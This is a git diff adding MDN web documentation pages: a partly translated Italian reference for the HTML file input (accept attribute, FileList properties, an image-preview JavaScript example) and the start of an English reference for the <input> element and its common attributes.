+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("webkitdirectory")}}</code></td>
+   <td>
+    <p>Un valore booleano che indica se consentire o meno di poter selezionare una o più cartelle (se è presente anche l'attributo <code>{{anch("multiple")}}</code>)</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefwebkitdirectory_non-standard_inline">{{htmlattrdef("webkitdirectory")}} {{non-standard_inline}}</h3>
+
+<div id="webkitdirectory-include">
+<p>L'attributo booleano <code>webkitdirectory</code> indica, se presente, che possono essere selezionate solo cartelle nell'interfaccia di selezione dell'utente. Si veda {{domxref("HTMLInputElement.webkitdirectory")}} per ulteriori esempi.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Anche se originariamente implementato solo per i browser basati su WebKit, l'attributo <code>webkitdirectory</code> è utilizzabile anche su Microsoft Edge e Firefox 50 o superiori. Comunque, anche se ha un supporto relativemente ampio, non è uno standard e dovrebbe essere evitato laddove non strettamente necessario.</p>
+</div>
+</div>
+
+<h2 id="Identificatori_univoci_del_tipo_di_file">Identificatori univoci del tipo di file</h2>
+
+<p>Un <strong>identificatore univoco del tipo di file</strong> è una stringa che descrive un tipo di file che può essere selezionato dall'utente in una elemento {{HTMLElement("input")}} di tipo <code>file</code>. Ogni identificatore univoco del tipo di file può avere una delle seguenti forme:</p>
+
+<ul>
+ <li>Una estensione di nomi file valida, che inizia con un carattere di punto ("."). E.g.: <code>.jpg</code>, <code>.pdf</code> o <code>.doc</code>.</li>
+ <li>Una stringa identificativa di un MIME-type, senza estensione.</li>
+ <li>La stringa <code>audio/*</code> ad indicare "qualunque file audio".</li>
+ <li>La stringa <code>video/*</code> ad indicare "qualunque file video".</li>
+ <li>La stringa <code>image/*</code> ad indicare "qualunque file immagine".</li>
+</ul>
+
+<p>L'attributo <code>accept</code> assume come valore una stringa contenente uno o più di questi identificatori univoci del tipo di file, separati da virgole. Per esempio, </p>
+
+<p>The <code>accept</code> attribute takes as its value a string containing one or more of these unique file type specifiers, separated by commas. Per esempio, un selettore di file che necessiti di contenuto che possa essere rappresentato come un'immagine, inclusi sia i formati immagine standard che file PDF, potrebbe apparire così:</p>
+
+<pre class="brush: html">&lt;input type="file" accept="image/*,.pdf"&gt;</pre>
+
+<h2 id="Utilizzo_degli_input_di_tipo_file">Utilizzo degli input di tipo file</h2>
+
+<h3 id="Un_esempio_base">Un esempio base</h3>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+ &lt;div&gt;
+   &lt;label for="file"&gt;Scegli un file da caricare&lt;/label&gt;
+   &lt;input type="file" id="file" name="file" multiple&gt;
+ &lt;/div&gt;
+ &lt;div&gt;
+   &lt;button&gt;Invia&lt;/button&gt;
+ &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>Produce l'output seguente:</p>
+
+<p>{{EmbedLiveSample('Un_esempio_base', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Puoi trovare questo esempio, in lingua inglese, anche su GitHub —  qui puoi trovarne i sorgenti <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/simple-file.html">i sorgenti</a>, ed anche una <a href="https://mdn.github.io/learning-area/html/forms/file-examples/simple-file.html">una dimostrazione di funzionamento</a>.</p>
+</div>
+
+<p>Indipendentemente dal sistema operativo o dal dispositivo dell'utente, il file input fornisce un bottone che apre una finestra di selezione che consente all'utente di scegliere un file.</p>
+
+<p>Includendo l'attributo {{htmlattrxref("multiple", "input/file")}}, come mostrato di seguito, specifica che possono essere selezionati più file in un'unica istanza. L'utente può selezionare più file in un qualunque modo consentito dalla propria piattaforma (ad esempio tenendo premuto il tasto <kbd>Shift</kbd> o <kbd>Ctrl</kbd>, e quindi cliccando). Se si desidera che l'utente scelga un solo file per <code>&lt;input&gt;</code> è sufficiente omettere l'attributo <code>multiple</code>.</p>
+
+<h3 id="Ottenere_informazioni_sui_file_selezionati">Ottenere informazioni sui file selezionati</h3>
+
+<p>I file selezionati sono restituiti dalla proprietà dell'elemento <code>HTMLInputElement.files</code>, che è un oggetto {{domxref("FileList")}} contenente una lista di oggetti {{domxref("File")}}. La <code>FileList</code> si comporta come un'array, quindi si può controllarne la proprietà <code>length</code> per conoscere il numero di file selezionati.</p>
+
+<p>Ogni oggetto <code>File</code> contiene le seguenti informazioni:</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>Il nome del file</dd>
+ <dt><code>lastModified</code></dt>
+ <dd>Un numero che indica la data e l'ora dell'ultima modifica, espressa in millisecondi dalla "UNIX epoch" (1° Gennaio 1970 a mezzanotte).</dd>
+ <dt><code>lastModifiedDate</code> {{deprecated_inline}}</dt>
+ <dd>Un oggetto {{jsxref("Date")}} che rappresenta la data e l'ora dell'ultuima modifica. <em>La proprietà è deprecata e non dovrebbe essere utilizzata. Al suo posto utilizzare la proprietà <code>lastModified</code>.</em></dd>
+ <dt><code>size</code></dt>
+ <dd>La dimensione del file in byte.</dd>
+ <dt><code>type</code></dt>
+ <dd>Il <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME-type</a> del file.</dd>
+ <dt><code>webkitRelativePath</code> {{non-standard_inline}}</dt>
+ <dd>Una stringa che rappresenta il perorso del file relativo alla cartella selezionata in un appostito selettore di cartelle (i.g. un selettore di file in cui l'attributo {{htmlattrxref("webkitdirectory", "input/file")}} è stato impostato). <em>Non è una proprietà standard e va utilizzata con attenzione</em></dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: È possibile leggere e scrivere il valore di <code>HTMLInputElement.files</code> in tutti i browser più recenti; in Firefox è stato in all modern browsers; su Firefox questa caratteristica è stata aggiunta di recente, nella versione 57 (si veda {{bug(1384030)}}).</p>
+</div>
+
+<h3 id="Limitare_i_tipi_di_file_accettati">Limitare i tipi di file accettati</h3>
+
+<p>Spesso si ha la necessità che l'utente non si libero di selezionare arbitrariamente qualunque tipologia di file; quanto piuttosto consentire che possa selezionare file di un tipo specifico. Per esempio, se un file input consente agli utenti di caricare un'immagine di profilo, molto probabilmente occorrerà consentire solo il aricamento di formati immagine compatibili con il web, come {{Glossary("JPEG")}} o {{Glossary("PNG")}}.</p>
+
+<p>I tipi di file accettati possono essere specificati con l'attributo {{htmlattrxref("accept","input/file")}}, che prende una lista di estensioni consentite o MIME-type, separate da virgola. Ecco alcuni esempi:</p>
+
+<ul>
+ <li><code>accept="image/png"</code> o <code>accept=".png"</code> — Accetta file PNG.</li>
+ <li><code>accept="image/png, image/jpeg"</code> o <code>accept=".png, .jpg, .jpeg"</code> — Accetta file PNG o JPEG.</li>
+ <li><code>accept="image/*"</code> — Accetta qualunque file con MIME-type <code>image/*</code>. (Molti dispositivi mobili consentono all'utente di scattare una foto quando viene specificato questo formato)</li>
+ <li><code>accept=".doc,.docx,.xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"</code> —  accetta qualunque file che sembri un documento di MS Word.</li>
+</ul>
+
+<p>Osserviamo un esempio più completo:</p>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;div&gt;
+    &lt;label for="profile_pic"&gt;Scegli un file da caricare&lt;/label&gt;
+    &lt;input type="file" id="profile_pic" name="profile_pic"
+          accept=".jpg, .jpeg, .png"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Invia&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>Questo produce un output simile a quello dell'esempio precedente:{{EmbedLiveSample('Limitare_i_tipi_di_file_accettati', 650, 60)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: L'esempio si trova, nella versione inglese, anche su GitHub — qui puoi trovarne <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-with-accept.html">i sorgenti</a> ed anche una <a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-with-accept.html">dimostrazione di funzionamento</a>.</p>
+</div>
+
+<p>Potrebbe sembrare simile, ma se si prova a selezionare un file, si vedrà che il selettore consente di scegliere solo i tipi di file specificati nell'attributo <code>accept</code> (il comportamento preciso differisce in base al browser ed al filesystem)</p>
+
+<p><img alt="Screenshot of a macOS file picker dialog. Files other than JPEG are grayed-out and unselectable." src="https://mdn.mozillademos.org/files/15183/file-chooser.png" style="margin: 0 auto;"></p>
+
+<p>L'attributo accept non valida i tipi dei file selezionati; semplicemente fornisce un suggerimento per il browser per guidare l'utente alla scelta di file del tipo giusto. In molti casi è ancora possibile per l'utente abilitare o disabilitare un'opzione nel selettore di file che rende possibile sovrascrivere questa limitazione e quindi selezionare i file che vuole, scegliendone uno di un tipo non corretto.</p>
+
+<p>A causa di ciò è buona norma accertarsi che l'attributo accept sia corredato da una corretta validazione lato server.</p>
+
+<h3 id="Note">Note</h3>
+
+<ol>
+ <li>
+  <p>Non è possibile impostare il valore di un selettore di file da uno script — una operazione del genere non sortisce alcun effetto:</p>
+
+  <pre class="brush: js">const input = document.querySelector("input[type=file]");
+input.value = "foo";
+</pre>
+ </li>
+ <li>
+  <p>Quando un file viene selezionato usando un <code>&lt;input type="file"&gt;</code>, il percorso reale del file originale non viene mostrato nell'attributo <code>value</code> per ovvie ragioni di sicurezza. Il nome del file invece viene mostrato, con aggiunti il percorso fittizio <code>C:\fakepath\</code> in cima. </p>
+ </li>
+ <li>
+  <p>When a file is chosen using an <code>&lt;input type="file"&gt;</code>, the real path to the source file is not shown in the input's <code>value</code> attribute for obvious security reasons. Instead, the filename is shown, with <code>C:\fakepath\</code> appended to the beginning of it. Ci sono alcune ragioni storiche per questa stranezza, ma è supportata da tutti i browser moderni ed in effetti è definita nelle specifiche.</p>
+ </li>
+</ol>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>In questo esempio mostreremo un selettore di file leggermente più sofisticato, che sfrutta le informazioni sui file disponibili nella proprietà <code>HTMLInputElement.files</code>, oltre a mostrare qualche trucchetto.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Puoi trovare il sorgente completo della versione inglese di questo esempio si GitHub — <a href="https://github.com/mdn/learning-area/blob/master/html/forms/file-examples/file-example.html">file-example.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/file-examples/file-example.html">click qui per provarne il comportamento dal vivo</a>). Non ne spiegheremo il CSS, essendo il JavaScript l'obiettivo principale.</p>
+</div>
+
+<p>Per prima cosa osserviamo l'HTML:</p>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;div&gt;
+    &lt;label for="image_uploads"&gt;Seleziona le immagini da caricare (PNG, JPG)&lt;/label&gt;
+    &lt;input type="file" id="image_uploads" name="image_uploads" accept=".jpg, .jpeg, .png" multiple&gt;
+  &lt;/div&gt;
+  &lt;div class="preview"&gt;
+    &lt;p&gt;Nessun file attualmente selezionato&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Invia&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+form {
+  width: 580px;
+  background: #ccc;
+  margin: 0 auto;
+  padding: 20px;
+  border: 1px solid black;
+}
+
+form ol {
+  padding-left: 0;
+}
+
+form li, div &gt; p {
+  background: #eee;
+  display: flex;
+  justify-content: space-between;
+  margin-bottom: 10px;
+  list-style-type: none;
+  border: 1px solid black;
+}
+
+form img {
+  height: 64px;
+  order: 1;
+}
+
+form p {
+  line-height: 32px;
+  padding-left: 10px;
+}
+
+form label, form button {
+  background-color: #7F9CCB;
+  padding: 5px 10px;
+  border-radius: 5px;
+  border: 1px ridge black;
+  font-size: 0.8rem;
+  height: auto;
+}
+
+form label:hover, form button:hover {
+  background-color: #2D5BA3;
+  color: white;
+}
+
+form label:active, form button:active {
+  background-color: #0D3F8F;
+  color: white;
+}</pre>
+</div>
+
+<p>Questo, ancora una volta, è simile all'esempio precedente - nulla di speciale di cui aggiungere commenti.</p>
+
+<p>Proseguiamo con il JavaScript.</p>
+
+<p>Nelle prime righe dello script ricaviamo i riferimenti all'input stesso della form, e l'elemento {{htmlelement("div")}} di classe <code>.preview</code>. In seguito nascondiamo l'elemento {{htmlelement("input")}} — facciamo questa operazione perchè i file input di solito non hanno un bell'aspetto ed hanno uno stile piuttosto inconsistente tra un browser e l'altro. Si potrà quindi attivare l'elemento <code>input</code> cliccando sulla sua {{htmlelement("label")}}, così che sia più comodo nascondele l'input e dare uno stile alla <code>label</code> simile ad un bottone, così che l'utente sappia che si tratti di un elemento interattivo ed interagisca con questo per caricare i file.</p>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const preview = document.querySelector('.preview');
+
+input.style.opacity = 0;</pre>
+
+<div class="note">
+<p><strong>Note:</strong> La {{cssxref("opacity")}} viene utilizzata per nascondere il file input al posto di {{cssxref("visibility", "visibility: hidden")}} o {{cssxref("display", "display: none")}}, perchè le tecnologie assistive interpretano gli ultimi due stili come un'indicazione che non si tratti di elementi interattivi.</p>
+</div>
+
+<p>A questo punto aggiungiamo un "event listener" all'input, che intercetti il cambio di elementi selezionati (in questo caso qundo i file vengono selezionati). L'event listener invoca la nostra funzione <code>updateImageDisplay()</code>.</p>
+
+<pre class="brush: js">input.addEventListener('change', updateImageDisplay);</pre>
+
+<p>Quando viene invocata la funzione <code>updateImageDisplay()</code>:</p>
+
+<ul>
+ <li>Usiamo un loop {{jsxref("Statements/while", "while")}} per svuotare il <code>&lt;div&gt;</code> del contenuto precedente.</li>
+ <li>Prendiamo l'oggetto {{domxref("FileList")}} che contiene le informazioni di tutti i file selezionati e lo salviamo in una variabile che chiamiamo <code>curFiles</code>.</li>
+ <li>Controlliamo che non sia selezionato alcun file, verificando che <code>curFiles.length</code> sia ugule a 0, nel qual caso stampiamo un messaggio nel <code>&lt;div&gt;</code> ad indicare che non ci sono file selezionati.</li>
+ <li>Se ci sono file selezionati, cicliamo su ciascuno, stampandone le informazioni nel <code>&lt;div&gt;</code> di anteprima. Da notare:</li>
+ <li>Usiamo la funzione <code>validFileType()</code> per controllare che il file sia del tipo corretto (e.g. che il tipo di immagine sia tra quelli specificati nell'attributo <code>accept</code>).</li>
+ <li>Se così fosse:
+  <ul>
+   <li>Stampiamo il nome e la dimensione del file in una lista nel preedente <code>&lt;div&gt;</code>. La funzione <code>returnFileSize()</code> restituisce una versione formattata della dimensione in bytes/KB/MB (di default il browser riporta una dimensione assoluta in bytes)</li>
+   <li>Generiamo una anteprima in miniatira dell'immagine chiamando {{domxref("URL.createObjectURL", "URL.createObjectURL(curFiles[i])")}}. Quindi inseriamo l'immagine anche nella lista di oggetti creando un nuovo tag {{htmlelement("img")}} ed impostando la sua {{htmlattrxref("src", "img")}} con la miniatura generata.</li>
+  </ul>
+ </li>
+ <li>Se il tipo di file non è valido mostriamo un messaggio nella lista di oggetti per indicare all'utente che deve selezionarne uno di un tipo differente.</li>
+</ul>
+
+<pre class="brush: js">function updateImageDisplay() {
+  while(preview.firstChild) {
+    preview.removeChild(preview.firstChild);
+  }
+
+  const curFiles = input.files;
+  if(curFiles.length === 0) {
+    const para = document.createElement('p');
+    para.textContent = 'Nessun file selezionato per il caricamento';
+    preview.appendChild(para);
+  } else {
+    const list = document.createElement('ol');
+    preview.appendChild(list);
+
+    for(const file of curFiles) {
+      const listItem = document.createElement('li');
+      const para = document.createElement('p');
+      if(validFileType(file)) {
+        para.textContent = `File ${file.name}, dimensione ${returnFileSize(file.size)}.`;
+        const image = document.createElement('img');
+        image.src = URL.createObjectURL(file);
+
+        listItem.appendChild(image);
+        listItem.appendChild(para);
+      } else {
+        para.textContent = `File ${file.name}: tipo di file non valido. Aggiorna la tua selezione.`;
+        listItem.appendChild(para);
+      }
+
+      list.appendChild(listItem);
+    }
+  }
+}</pre>
+
+<p>La funzione personlizzata <code>validFileType()</code> prende un oggetto {{domxref("File")}} come parametro, quindi usa {{jsxref("Array.prototype.includes()")}} per verificare che ci sia almeno una corrispondenza con la proprietà <code>type</code> del file. Se viene trovata una corrispodenza la funzione restituisce il valore <code>true</code>, altrimenti <code>false</code>.</p>
+
+<pre class="brush: js">// https://developer.mozilla.org/it/docs/Web/Media/Formats/Image_types
+const fileTypes = [
+  "image/apng",
+  "image/bmp",
+  "image/gif",
+  "image/jpeg",
+  "image/pjpeg",
+  "image/png",
+  "image/svg+xml",
+  "image/tiff",
+  "image/webp",
+  "image/x-icon"
+];
+
+function validFileType(file) {
+  return fileTypes.includes(file.type);
+}</pre>
+
+<p>La funzione <code>returnFileSize()</code> prende un numero (di byte, preso dalla proprietà <code>size</code>), e lo trasforma in una stringa correttamente formattata in bytes/KB/MB.</p>
+
+<pre class="brush: js">function returnFileSize(number) {
+  if(number &lt; 1024) {
+    return number + 'bytes';
+  } else if(number &gt;= 1024 &amp;&amp; number &lt; 1048576) {
+    return (number/1024).toFixed(1) + 'KB';
+  } else if(number &gt;= 1048576) {
+    return (number/1048576).toFixed(1) + 'MB';
+  }
+}</pre>
+
+<p>L'esempio è simile al seguente, proviamo:</p>
+
+<p>{{EmbedLiveSample('Esempi', '100%', 200)}}</p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'input.html#file-upload-state-(type=file)', '&lt;input type="file"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definzione iniziale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#file-upload-state-typefile', '&lt;input type="file"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Definizione iniziale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Media Capture', '#the-capture-attribute','capture attribute')}}</td>
+   <td>{{Spec2('HTML Media Capture')}}</td>
+   <td>Attributo <code>capture</code> iniziale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-file")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File/Using_files_from_web_applications">Using files from web applications</a> — contiene numerosi altri esempi utili correlati all'<code>&lt;input type="file"&gt;</code> e alle <a href="/en-US/docs/Web/API/File">File API</a>.</li>
+ <li><a href="/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls">Compatibility of CSS properties</a></li>
+</ul>
diff --git a/files/it/web/html/element/input/index.html b/files/it/web/html/element/input/index.html
new file mode 100644
index 0000000000..0bc23cfd54
--- /dev/null
+++ b/files/it/web/html/element/input/index.html
@@ -0,0 +1,576 @@
+---
+title: '<input>: The Input (Form Input) element'
+slug: Web/HTML/Element/input
+tags:
+  - Data entry
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - HTML input tag
+  - Input
+  - MakeBrowserAgnostic
+  - NeedsBrowserCompatibility
+  - NeedsMobileBrowserCompatibility
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web
+translation_of: Web/HTML/Element/input
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">The <strong>HTML <code>&lt;input&gt;</code> element</strong> is used to create interactive controls for web-based forms in order to accept data from the user; a wide variety of types of input data and control widgets are available, depending on the device and {{Glossary("user agent")}}.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-text.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Form_&lt;input>_types">Form <code>&lt;input&gt;</code> types</h2>
+
+<p>How an <code>&lt;input&gt;</code> works varies considerably depending on the value of its <code>type</code> attribute, hence the different types are covered in their own separate reference pages. If this attribute is not specified, the default type adopted is <code>text</code>.</p>
+
+<p>The available types are as follows:</p>
+
+<ul>
+ <li><code>{{HTMLElement("input/button", "button")}}</code>: A push button with no default behavior.</li>
+ <li><code>{{HTMLElement("input/checkbox", "checkbox")}}</code>: A check box allowing single values to be selected/deselected.</li>
+ <li><code>{{HTMLElement("input/color", "color")}}</code>: {{HTMLVersionInline("5")}} A control for specifying a color. A color picker's UI has no required features other than accepting simple colors as text (<a href="https://www.w3.org/TR/html5/forms.html#color-state-(type=color)">more info</a>).</li>
+ <li><code>{{HTMLElement("input/date", "date")}}</code>: {{HTMLVersionInline("5")}} A control for entering a date (year, month, and day, with no time).</li>
+ <li><code>{{HTMLElement("input/datetime-local", "datetime-local")}}</code>: {{HTMLVersionInline("5")}} A control for entering a date and time, with no time zone.</li>
+ <li><code>{{HTMLElement("input/email", "email")}}</code>: {{HTMLVersionInline("5")}} A field for editing an e-mail address.</li>
+ <li><code>{{HTMLElement("input/file", "file")}}</code>: A control that lets the user select a file. Use the <strong>accept</strong> attribute to define the types of files that the control can select.</li>
+ <li><code>{{HTMLElement("input/hidden", "hidden")}}</code>: A control that is not displayed but whose value is submitted to the server.</li>
+ <li><code>{{HTMLElement("input/image", "image")}}</code>: A graphical submit button. You must use the <strong>src</strong> attribute to define the source of the image and the <strong>alt</strong> attribute to define alternative text. You can use the <strong>height</strong> and <strong>width</strong> attributes to define the size of the image in pixels.</li>
+ <li><code>{{HTMLElement("input/month", "month")}}</code>: {{HTMLVersionInline("5")}} A control for entering a month and year, with no time zone.</li>
+ <li><code>{{HTMLElement("input/number", "number")}}</code>: {{HTMLVersionInline("5")}} A control for entering a number.</li>
+ <li><code>{{HTMLElement("input/password", "password")}}</code>: A single-line text field whose value is obscured. Use the <strong>maxlength</strong> and <strong>minlength</strong> attributes to specify the maximum length of the value that can be entered.
+  <div class="note"><strong>Note</strong>: Any forms involving sensitive information like passwords (e.g. login forms) should be served over HTTPS; Firefox now implements multiple mechanisms to warn against insecure login forms — see <a href="/en-US/docs/Web/Security/Insecure_passwords">Insecure passwords</a>. Other browsers are also implementing similar mechanisms.</div>
+ </li>
+ <li><code>{{HTMLElement("input/radio", "radio")}}</code>: A radio button, allowing a single value to be selected out of multiple choices.</li>
+ <li><code>{{HTMLElement("input/range", "range")}}</code>: {{HTMLVersionInline("5")}} A control for entering a number whose exact value is not important.</li>
+ <li><code>{{HTMLElement("input/reset", "reset")}}</code>: A button that resets the contents of the form to default values.</li>
+ <li><code>{{HTMLElement("input/search", "search")}}</code>: {{HTMLVersionInline("5")}} A single-line text field for entering search strings. Line-breaks are automatically removed from the input value.</li>
+ <li><code>{{HTMLElement("input/submit", "submit")}}</code>: A button that submits the form.</li>
+ <li><code>{{HTMLElement("input/tel", "tel")}}</code>: {{HTMLVersionInline("5")}} A control for entering a telephone number.</li>
+ <li><code>{{HTMLElement("input/text", "text")}}</code>: A single-line text field. Line-breaks are automatically removed from the input value.</li>
+ <li><code>{{HTMLElement("input/time", "time")}}</code>: {{HTMLVersionInline("5")}} A control for entering a time value with no time zone.</li>
+ <li><code>{{HTMLElement("input/url", "url")}}</code>: {{HTMLVersionInline("5")}} A field for entering a URL.</li>
+ <li><code>{{HTMLElement("input/week", "week")}}</code>: {{HTMLVersionInline("5")}} A control for entering a date consisting of a week-year number and a week number with no time zone.</li>
+</ul>
+
+<p>Some input types are now obsolete:</p>
+
+<ul>
+ <li><code>{{HTMLElement("input/datetime", "datetime")}}</code>: {{HTMLVersionInline("5")}} {{deprecated_inline}} {{obsolete_inline}} A control for entering a date and time (hour, minute, second, and fraction of a second) based on UTC time zone. <strong>This feature has been <a href="https://github.com/whatwg/html/issues/336">removed from WHATWG HTML.</a></strong></li>
+</ul>
+
+<h2 id="Attributes">Attributes</h2>
+
+<p>The <code>&lt;input&gt;</code> element is one of the most powerful and complex in all of HTML due to the sheer number of combinations of input types and attributes. Since every <code>&lt;input&gt;</code> element, regardless of type, is based on the {{domxref("HTMLInputElement")}} interface, they technically all share the exact same set of attributes. However, in reality, many attributes only function on specific input types, and some input types support very few of these attributes. In addition, some input types handle certain attributes in special ways.</p>
+
+<p>Here, you'll find information about the individual attributes which are common to all <code>&lt;input&gt;</code> element types, as well as a few non-standard attributes that may be worth knowing about.</p>
+
+<h3 id="Attributes_common_to_all_input_types">Attributes common to all input types</h3>
+
+<p>This section lists the attributes which are used by all form <code>&lt;input&gt;</code> types. Attributes that are unique to particular input types—or attributes which are common to all input types but have special behaviors when used on a given input type—are instead documented on those types' pages.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global HTML attributes</a>.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribute</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("autocomplete")}}</code></td>
+   <td>A string indicating the type of autocomplete functionality, if any, to allow on the input</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("autofocus")}}</code></td>
+   <td>A Boolean which, if present, makes the input take focus when the form is presented</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("disabled")}}</code></td>
+   <td>A Boolean attribute which is present if the input should be disabled</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("form")}}</code></td>
+   <td>The {{domxref("Element.id", "id")}} of the {{HTMLElement("form")}} of which the input is a member; if absent, the input is a member of the nearest containing form, or is not a member of a form at all</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("list")}}</code></td>
+   <td>The <code>id</code> of a {{HTMLElement("datalist")}} element that provides a list of suggested values for the input</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("name")}}</code></td>
+   <td>The input's name, to identify the input in the data submitted with the form's data</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>A Boolean attribute which, if true, indicates that the input cannot be edited</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("required")}}</code></td>
+   <td>A Boolean which, if true, indicates that the input must have a value before the form can be submitted</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("tabindex")}}</code></td>
+   <td>A numeric value providing guidance to the {{Glossary("user agent")}} as to the order in which controls receive focus when the user presses the <kbd>Tab</kbd> key</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("type")}}</code></td>
+   <td>A string indicating which {{anch("Form &lt;input&gt; types", "input type")}} the <code>&lt;input&gt;</code> element represents</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("value")}}</code></td>
+   <td>The input's current value</td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="htmlattrdefautocomplete">{{htmlattrdef("autocomplete")}}</h4>
+
+<p>A string that describes what if any type of autocomplete functionality the input should provide. A typical implementation of autocomplete simply recalls previous values entered in the same input field, but more complex forms of autocomplete can exist. For instance, a browser could integrate with a device's contacts list to autocomplete email addresses in an email input field. See {{SectionOnPage("/en-US/docs/Web/HTML/Attributes/autocomplete", "Values")}} for permitted values.</p>
+
+<p>This attribute has no effect on input types that do not return numeric or text data, such as <code>checkbox</code> or <code>image</code>.</p>
+
+<p>See <a href="/en-US/docs/Web/HTML/Attributes/autocomplete">The HTML autocomplete attribute</a> for additional information.</p>
+
+<h4 id="htmlattrdefautofocus">{{htmlattrdef("autofocus")}}</h4>
+
+<p>A Boolean attribute which, if present, indicates that the input should automatically have focus when the page has finished loading (or when the {{HTMLElement("dialog")}} containing the element has been displayed).</p>
+
+<div class="note">
+<p><strong>Note:</strong> An element with the <code>autofocus</code> attribute may gain focus before the {{domxref("DOMContentLoaded")}} event is fired.</p>
+</div>
+
+<p>No more than one element in the document may have the <code>autofocus</code> attribute, and <code>autofocus</code> cannot be used on inputs of type <code>hidden</code>, because hidden inputs can't be focused.</p>
+
+<div class="warning">
+<p><strong>Warning:</strong> Automatically focusing a form control can confuse visually-impaired people using screen-reading technology. When <code>autofocus</code> is assigned, screen-readers "teleport" their user to the form control without warning them beforehand.</p>
+</div>
+
+<h4 id="htmlattrdefdisabled">{{htmlattrdef("disabled")}}</h4>
+
+<p>A Boolean attribute which, if present, indicates that the user should not be able to interact with the input. Disabled inputs are typically rendered with a dimmer color or using some other form of indication that the field is not available for use.</p>
+
+<p>Specifically, disabled inputs do not receive the {{event("click")}} event, and disabled inputs are not submitted with the form.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Although not required by the specification, Firefox will by default <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of an <code>&lt;input&gt;</code> across page loads. Use the {{htmlattrxref("autocomplete","input")}} attribute to control this feature.</p>
+</div>
+
+<h4 id="htmlattrdefform">{{htmlattrdef("form")}}</h4>
+
+<p>A string specifying the {{HTMLElement("form")}} element with which the input is associated (that is, its <strong>form owner</strong>). This string's value, if present, must match the {{htmlattrxref("id")}} of a <code>&lt;form&gt;</code> element in the same document. If this attribute isn't specified, the <code>&lt;input&gt;</code> element is associated with the nearest containing form, if any.</p>
+
+<p>The <code>form</code> attribute lets you place an input anywhere in the document but have it included with a form elsewhere in the document.</p>
+
+<div class="note">
+<p><strong>Note:</strong> An input can only be associated with one form.</p>
+</div>
+
+<h4 id="htmlattrdeflist">{{htmlattrdef("list")}}</h4>
+
